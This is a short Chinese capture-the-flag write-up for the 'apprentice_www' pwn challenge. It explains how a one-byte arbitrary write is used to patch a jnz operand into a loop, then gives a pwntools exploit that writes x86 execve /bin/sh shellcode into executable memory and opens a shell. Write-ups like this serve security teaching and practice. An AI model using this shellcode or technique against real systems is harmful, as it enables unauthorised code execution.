0x01 解题思路
-
查看文件基本信息
-
IDA查看
main
setup
调用mprotect函数给.bss、.text、.data等段增加了可读可写可执行权限butterflySwag
接收两次用户输入,第一次输入v1为一个地址,第二次输入v2为一个整数。之后会把v2的最低一个字节写入到v1指向的内存单元。这样就可以把shellcode写入到任意的可读可执行页。但是由于一次只能写入一个字节,需要跳转到第一个scanf执行之前循环接受输入。那么就可以把080485D9处的jnz短跳转指令的操作数修改一下,使其跳转至0804859D处循环执行写入shellcode。注意操作数的计算方式:跳转点地址-跳转指令的后一条指令的地址
(单字节)。另外,输入的shellcode地址和shellcode单个字节都必须转成字符串。
0x02 EXP
#!/usr/bin/python
#coding:utf-8
from pwn import *
io = process('./apprentice_www')
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
jnz_param_addr = 0x080485DA
shellcode_addr = 0x080485DB
io.sendline(str(jnz_param_addr))
io.sendline(str(0xc2))
for i in range(len(shellcode)):
io.sendline(str(shellcode_addr + i))
io.sendline(str(ord(shellcode[i])))
io.sendline(str(jnz_param_addr))
io.sendline(str(0x00))
io.interactive()